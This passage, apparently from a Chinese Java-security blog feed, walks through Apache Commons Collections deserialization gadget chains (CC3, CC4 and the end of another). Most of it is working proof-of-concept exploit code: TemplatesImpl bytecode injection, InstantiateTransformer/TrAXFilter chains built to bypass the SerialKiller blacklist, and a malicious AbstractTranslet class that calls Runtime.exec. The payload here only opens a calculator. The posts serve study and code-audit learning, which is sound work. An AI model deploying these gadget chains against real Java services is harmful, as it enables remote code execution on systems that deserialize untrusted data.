class_">TiedMapEntry</span>(outerMap,<span class="string">"ki10Moc"</span>);</span><br><span class="line"> <span class="type">BadAttributeValueExpException</span> <span class="variable">badAttributeValueExpException</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">BadAttributeValueExpException</span>(<span class="literal">null</span>);</span><br><span class="line"></span><br><span class="line"> <span class="type">Class</span> <span class="variable">clazz</span> <span class="operator">=</span> Class.forName(<span class="string">"javax.management.BadAttributeValueExpException"</span>);</span><br><span class="line"> <span class="type">Field</span> <span class="variable">field</span> <span class="operator">=</span>clazz.getDeclaredField(<span class="string">"val"</span>);</span><br><span class="line"> field.setAccessible(<span class="literal">true</span>);</span><br><span class="line"> field.set(badAttributeValueExpException,tiedMapEntry);</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> <span class="type">byte</span>[] bytes = serialize(badAttributeValueExpException);</span><br><span class="line"> unserialize(bytes);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">unserialize</span><span class="params">(<span class="type">byte</span>[] bytes)</span> <span class="keyword">throws</span> Exception{</span><br><span class="line"> <span class="keyword">try</span>(<span class="type">ByteArrayInputStream</span> <span class="variable">bain</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ByteArrayInputStream</span>(bytes);</span><br><span class="line"> <span class="type">ObjectInputStream</span> <span class="variable">oin</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectInputStream</span>(bain)){</span><br><span class="line"> oin.readObject();</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="type">byte</span>[] serialize(Object o) <span class="keyword">throws</span> Exception{</span><br><span class="line"> <span class="keyword">try</span>(<span class="type">ByteArrayOutputStream</span> <span class="variable">baout</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ByteArrayOutputStream</span>();</span><br><span class="line"> <span class="type">ObjectOutputStream</span> <span class="variable">oout</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectOutputStream</span>(baout)){</span><br><span class="line"> oout.writeObject(o);</span><br><span class="line"> <span class="keyword">return</span> baout.toByteArray();</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p><img src="https://img-blog.csdnimg.cn/aeee5214c63148d0b23079a0a0ed4b8c.png" alt="在这里插入图片描述"></p>]]></content>
<tags>
<tag> 代码审计 </tag>
<tag> Java安全 </tag>
</tags>
</entry>
<entry>
<title>Commons Collections4</title>
<link href="/2022/08/10/Commons%20Collections4/"/>
<url>/2022/08/10/Commons%20Collections4/</url>
<content type="html"><![CDATA[<p>相较于前面的 cc 链,多的是一个版本的更新</p><p>之前都是 3.2.1</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><dependency></span><br><span class="line"> <groupId>org.apache.commons</groupId></span><br><span class="line"> <artifactId>commons-collections4</artifactId></span><br><span class="line"> <version><span class="number">4.0</span></version></span><br><span class="line"></dependency></span><br></pre></td></tr></table></figure><p><code>cc4</code> 是 <code>cc3</code> 和 <code>cc2</code> 的组合</p><p>那前面的前置知识就不做介绍了</p><p>poc:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> main.java;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections4.Transformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections4.comparators.TransformingComparator;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections4.functors.ChainedTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections4.functors.ConstantTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections4.functors.InstantiateTransformer;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> javax.xml.transform.Templates;</span><br><span class="line"><span class="keyword">import</span> java.io.*;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Field;</span><br><span class="line"><span class="keyword">import</span> java.nio.file.Files;</span><br><span class="line"><span class="keyword">import</span> java.nio.file.Paths;</span><br><span class="line"><span class="keyword">import</span> java.util.PriorityQueue;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">cc4</span>{</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception {</span><br><span class="line"> <span class="type">TemplatesImpl</span> <span class="variable">templates</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">TemplatesImpl</span>();</span><br><span class="line"> <span class="type">Class</span> <span class="variable">templatesclass</span> <span class="operator">=</span> templates.getClass();</span><br><span class="line"> <span class="comment">//name字段</span></span><br><span class="line"> <span class="type">Field</span> <span class="variable">nameField</span> <span class="operator">=</span> templatesclass.getDeclaredField(<span class="string">"_name"</span>);</span><br><span class="line"> nameField.setAccessible(<span class="literal">true</span>);</span><br><span class="line"> nameField.set(templates,<span class="string">"ki10Moc"</span>);</span><br><span class="line"></span><br><span class="line"> <span class="comment">//恶意bytecode字段</span></span><br><span class="line"> <span class="type">Field</span> <span class="variable">bytecodeFiled</span> <span class="operator">=</span> templatesclass.getDeclaredField(<span class="string">"_bytecodes"</span>);</span><br><span class="line"> bytecodeFiled.setAccessible(<span class="literal">true</span>);</span><br><span class="line"> <span class="type">byte</span>[] code = Files.readAllBytes(Paths.get(<span class="string">"E://Code/JavaSecurityCode/cc3/target/classes/calc.class"</span>));</span><br><span class="line"> <span class="type">byte</span>[][] codes = {code};</span><br><span class="line"> bytecodeFiled.set(templates,codes);</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> <span class="comment">//工厂类字段</span></span><br><span class="line"> <span class="type">Field</span> <span class="variable">tfactoryField</span> <span class="operator">=</span> templatesclass.getDeclaredField(<span class="string">"_tfactory"</span>);</span><br><span class="line"> tfactoryField.setAccessible(<span class="literal">true</span>);</span><br><span class="line"> tfactoryField.set(templates, <span class="keyword">new</span> <span class="title class_">TransformerFactoryImpl</span>() {</span><br><span class="line"> });</span><br><span class="line"></span><br><span class="line"> <span class="comment">//调用transformer任意方法的接口,此处通过InstantiateTransformer代替InvokerTransformer</span></span><br><span class="line"> <span class="type">InstantiateTransformer</span> <span class="variable">instantiateTransformer</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">InstantiateTransformer</span>(</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">Class</span>[]{ Templates.class},<span class="keyword">new</span> <span class="title class_">Object</span>[]{templates});</span><br><span class="line"> Transformer[] transformers = <span class="keyword">new</span> <span class="title class_">Transformer</span>[]{</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">ConstantTransformer</span>(TrAXFilter.class),</span><br><span class="line"> instantiateTransformer</span><br><span class="line"> };</span><br><span class="line"> <span class="type">ChainedTransformer</span> <span class="variable">chainedTransformer</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ChainedTransformer</span><>(transformers);</span><br><span class="line"> <span class="type">TransformingComparator</span> <span class="variable">transformingComparator</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">TransformingComparator</span><>(chainedTransformer);</span><br><span class="line"> <span class="type">PriorityQueue</span> <span class="variable">priorityQueue</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">PriorityQueue</span>(transformingComparator);</span><br><span class="line"></span><br><span class="line"> priorityQueue.add(<span class="number">1</span>);</span><br><span class="line"> priorityQueue.add(<span class="number">2</span>);</span><br><span class="line"> serialize(priorityQueue);</span><br><span class="line"> unserialioze(<span class="string">"ser.bin"</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">serialize</span><span class="params">(Object obj)</span> <span class="keyword">throws</span> IOException{</span><br><span class="line"> <span class="type">ObjectOutputStream</span> <span class="variable">oos</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectOutputStream</span>(<span class="keyword">new</span> <span class="title class_">FileOutputStream</span>(<span class="string">"ser.bin"</span>));</span><br><span class="line"> oos.writeObject(obj);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> Object <span class="title function_">unserialioze</span><span class="params">(String Filename)</span> <span class="keyword">throws</span> IOException, ClassNotFoundException {</span><br><span class="line"> <span class="type">ObjectInputStream</span> <span class="variable">ois</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectInputStream</span>(<span class="keyword">new</span> <span class="title class_">FileInputStream</span>(Filename));</span><br><span class="line"> <span class="type">Object</span> <span class="variable">obj</span> <span class="operator">=</span> ois.readObject();</span><br><span class="line"> <span class="keyword">return</span> obj;</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> main.java;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;</span><br><span class="line"><span class="keyword">import</span> javassist.CannotCompileException;</span><br><span class="line"><span class="keyword">import</span> javassist.ClassPool;</span><br><span class="line"><span class="keyword">import</span> javassist.CtClass;</span><br><span class="line"><span class="keyword">import</span> javassist.NotFoundException;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections4.Transformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections4.comparators.TransformingComparator;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections4.functors.ChainedTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections4.functors.ConstantTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections4.functors.InstantiateTransformer;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> javax.xml.transform.Templates;</span><br><span class="line"><span class="keyword">import</span> java.io.*;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Field;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.InvocationTargetException;</span><br><span class="line"><span class="keyword">import</span> java.util.PriorityQueue;</span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">test</span> {</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> IOException, CannotCompileException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException, NotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {</span><br><span class="line"> String AbstractTranslet=<span class="string">"com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"</span>;</span><br><span class="line"> String TemplatesImpl=<span class="string">"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"</span>;</span><br><span class="line"> ClassPool classPool=ClassPool.getDefault();</span><br><span class="line"> classPool.appendClassPath(AbstractTranslet);</span><br><span class="line"> CtClass payload=classPool.makeClass(<span class="string">"CommonsCollections44444444"</span>);</span><br><span class="line"> payload.setSuperclass(classPool.get(AbstractTranslet));</span><br><span class="line"> payload.makeClassInitializer().setBody(<span class="string">"java.lang.Runtime.getRuntime().exec(\"calc\");"</span>);</span><br><span class="line"> <span class="type">byte</span>[] bytes = payload.toBytecode();</span><br><span class="line"> <span class="type">Object</span> <span class="variable">templates</span> <span class="operator">=</span> Class.forName(TemplatesImpl).getDeclaredConstructor(<span class="keyword">new</span> <span class="title class_">Class</span>[]{}).newInstance();</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> Field field=templates.getClass().getDeclaredField(<span class="string">"_bytecodes"</span>);</span><br><span class="line"> field.setAccessible(<span class="literal">true</span>);</span><br><span class="line"> field.set(templates,<span class="keyword">new</span> <span class="title class_">byte</span>[][]{bytes});</span><br><span class="line"></span><br><span class="line"> Field name=templates.getClass().getDeclaredField(<span class="string">"_name"</span>);</span><br><span class="line"> name.setAccessible(<span class="literal">true</span>);</span><br><span class="line"> name.set(templates,<span class="string">"test"</span>);</span><br><span class="line"> Transformer[] trans = <span class="keyword">new</span> <span class="title class_">Transformer</span>[]{</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">ConstantTransformer</span>(TrAXFilter.class),</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">InstantiateTransformer</span>(</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">Class</span>[]{Templates.class},</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">Object</span>[]{templates})</span><br><span class="line"> };</span><br><span class="line"> <span class="type">ChainedTransformer</span> <span class="variable">chian</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ChainedTransformer</span>(trans);</span><br><span class="line"> <span class="type">TransformingComparator</span> <span class="variable">transCom</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">TransformingComparator</span>(chian);</span><br><span class="line"> <span class="type">PriorityQueue</span> <span class="variable">queue</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">PriorityQueue</span>(<span class="number">2</span>);</span><br><span class="line"> queue.add(<span class="number">1</span>);</span><br><span class="line"> queue.add(<span class="number">1</span>);</span><br><span class="line"> <span class="type">Field</span> <span class="variable">com</span> <span class="operator">=</span> PriorityQueue.class.getDeclaredField(<span class="string">"comparator"</span>);</span><br><span class="line"> com.setAccessible(<span class="literal">true</span>);</span><br><span class="line"> com.set(queue,transCom);</span><br><span class="line"> <span class="type">ObjectOutputStream</span> <span class="variable">outputStream</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectOutputStream</span>(<span class="keyword">new</span> <span class="title class_">FileOutputStream</span>(<span class="string">"test.out"</span>));</span><br><span class="line"> outputStream.writeObject(queue);</span><br><span class="line"> outputStream.close();</span><br><span class="line"></span><br><span class="line"> ObjectInputStream inputStream=<span class="keyword">new</span> <span class="title class_">ObjectInputStream</span>(<span class="keyword">new</span> <span class="title class_">FileInputStream</span>(<span class="string">"test.out"</span>));</span><br><span class="line"> inputStream.readObject();</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure>]]></content>
<tags>
<tag> 代码审计 </tag>
<tag> Java安全 </tag>
</tags>
</entry>
<entry>
<title>Commons Collections3</title>
<link href="/2022/08/08/Commons%20Collections3/"/>
<url>/2022/08/08/Commons%20Collections3/</url>
<content type="html"><![CDATA[<h3 id="省流"><a class="markdownIt-Anchor" href="#省流">#</a> 省流</h3><p><code>SerialKiller</code> <br> 可以通过⿊名单与⽩名单的⽅式来限制反序列化时允许通过的<br>类,其中限制了 cc1 和 cc2 中命令执行的类, <code>InvokerTransformer</code></p><p><img src="https://img-blog.csdnimg.cn/7d5ea44763ff468e8a9c67e16920cc8f.png" alt="在这里插入图片描述"></p><p><code>cc3</code> 就是为了绕过对其的限制,这里使用的是 <code>com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter</code> 来执行</p><p>也就是 <code>TrAXFilter</code> 的构造方法中 <code>templates.newTransformer()</code> 调⽤到 <code>TemplatesImpl</code> ⾥的字节码<br><img src="https://img-blog.csdnimg.cn/d27e3c99816343619dd10aaa7d10fc2e.png" alt="在这里插入图片描述"></p><p>下面来看看当没有了 <code>invokerTransformer</code> 该如何调用任意方法</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> Object <span class="title function_">transform</span><span class="params">(Object input)</span> {</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> <span class="keyword">if</span> (input <span class="keyword">instanceof</span> Class == <span class="literal">false</span>) {</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">FunctorException</span>(</span><br><span class="line"> <span class="string">"InstantiateTransformer: Input object was not an instanceof Class, it was a "</span></span><br><span class="line"> + (input == <span class="literal">null</span> ? <span class="string">"null object"</span> : input.getClass().getName()));</span><br><span class="line"> }</span><br><span class="line"> <span class="type">Constructor</span> <span class="variable">con</span> <span class="operator">=</span> ((Class) input).getConstructor(iParamTypes);</span><br><span class="line"> <span class="keyword">return</span> con.newInstance(iArgs);</span><br><span class="line"></span><br><span class="line"> } <span class="keyword">catch</span> (NoSuchMethodException ex) {</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">FunctorException</span>(<span class="string">"InstantiateTransformer: The constructor must exist and be public "</span>);</span><br><span class="line"> } <span class="keyword">catch</span> (InstantiationException ex) {</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">FunctorException</span>(<span class="string">"InstantiateTransformer: InstantiationException"</span>, ex);</span><br><span class="line"> } <span class="keyword">catch</span> (IllegalAccessException ex) {</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">FunctorException</span>(<span class="string">"InstantiateTransformer: Constructor must be public"</span>, ex);</span><br><span class="line"> } <span class="keyword">catch</span> (InvocationTargetException ex) {</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">FunctorException</span>(<span class="string">"InstantiateTransformer: Constructor threw an exception"</span>, ex);</span><br><span class="line"> }</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>判断参数如果是 <code>class</code> 类型的<br>就会创建一个类的构造器并且调用其构造方法</p><p>这里在同目录下写一个恶意程序让 poc 去调用<br>但是出现了空指针的报错<br>发现是在这个变量的地方出现的<br>那就想办法让其变量等于 <code>ABSTRACT_TRANSLET</code></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> (superClass.getName().equals(ABSTRACT_TRANSLET))</span><br></pre></td></tr></table></figure><p><img src="https://img-blog.csdnimg.cn/94bc089ffaf04d6381bfb8139a64d307.png" alt="在这里插入图片描述"><br>也就是恶意类的父类要继承<br>即 <code>AbstractTranslet</code> <br><img src="https://img-blog.csdnimg.cn/c65407c27dfb4dad90dd0fc7ec00f72e.png" alt="在这里插入图片描述"></p><p>再次执行就成功了</p><p><img src="https://img-blog.csdnimg.cn/260eebef201c44e6a1726ff488ceb476.png" alt="在这里插入图片描述"></p><p><code>calc.java</code></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.DOM;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.TransletException;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xml.internal.serializer.SerializationHandler;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">calc</span> <span class="keyword">extends</span> <span class="title class_">AbstractTranslet</span>{</span><br><span class="line"> <span class="keyword">static</span> {</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> Runtime.getRuntime().exec(<span class="string">"calc"</span>);</span><br><span class="line"> } <span class="keyword">catch</span> (IOException e) {</span><br><span class="line"> e.printStackTrace();</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">transform</span><span class="params">(DOM document, SerializationHandler[] handlers)</span> <span class="keyword">throws</span> TransletException {</span><br><span class="line"></span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">transform</span><span class="params">(DOM document, DTMAxisIterator iterator, SerializationHandler handler)</span> <span class="keyword">throws</span> TransletException {</span><br><span class="line"></span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>当 <code>Instantiate Transformer</code> 和 <code>TrAXFilter.TrAXFilter</code> 成功绕过可以执行任意命令<br>后面的就和 <code>cc1</code> 都一样了</p><h3 id="poc"><a class="markdownIt-Anchor" href="#poc">#</a> poc</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.InstantiateTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.map.LazyMap;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> javax.xml.transform.Templates;</span><br><span class="line"><span class="keyword">import</span> java.io.ByteArrayInputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.ByteArrayOutputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.ObjectInputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.ObjectOutputStream;</span><br><span class="line"><span class="keyword">import</span> java.lang.annotation.Retention;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Constructor;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Field;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.InvocationHandler;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Proxy;</span><br><span class="line"><span class="keyword">import</span> java.nio.file.Files;</span><br><span class="line"><span class="keyword">import</span> java.nio.file.Paths;</span><br><span class="line"><span class="keyword">import</span> java.util.HashMap;</span><br><span class="line"><span class="keyword">import</span> java.util.Map;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">cc3</span> {</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception {</span><br><span class="line"> <span class="type">TemplatesImpl</span> <span class="variable">templates</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">TemplatesImpl</span>();</span><br><span class="line"> <span class="type">Class</span> <span class="variable">temp</span> <span class="operator">=</span> templates.getClass();</span><br><span class="line"> <span class="type">Field</span> <span class="variable">nameField</span> <span class="operator">=</span> temp.getDeclaredField(<span class="string">"_name"</span>);</span><br><span class="line"> nameField.setAccessible(<span class="literal">true</span>);</span><br><span class="line"> nameField.set(templates, <span class="string">"ki10Moc"</span>);</span><br><span class="line"> <span class="type">Field</span> <span class="variable">bytecodesField</span> <span class="operator">=</span> temp.getDeclaredField(<span class="string">"_bytecodes"</span>);</span><br><span class="line"> bytecodesField.setAccessible(<span class="literal">true</span>);</span><br><span class="line"> <span class="type">byte</span>[] code = Files.readAllBytes(Paths.get(<span class="string">"E://Code/JavaSecurityCode/cc3/target/classes/calc.class"</span>));</span><br><span class="line"><span class="comment">// byte[] code = 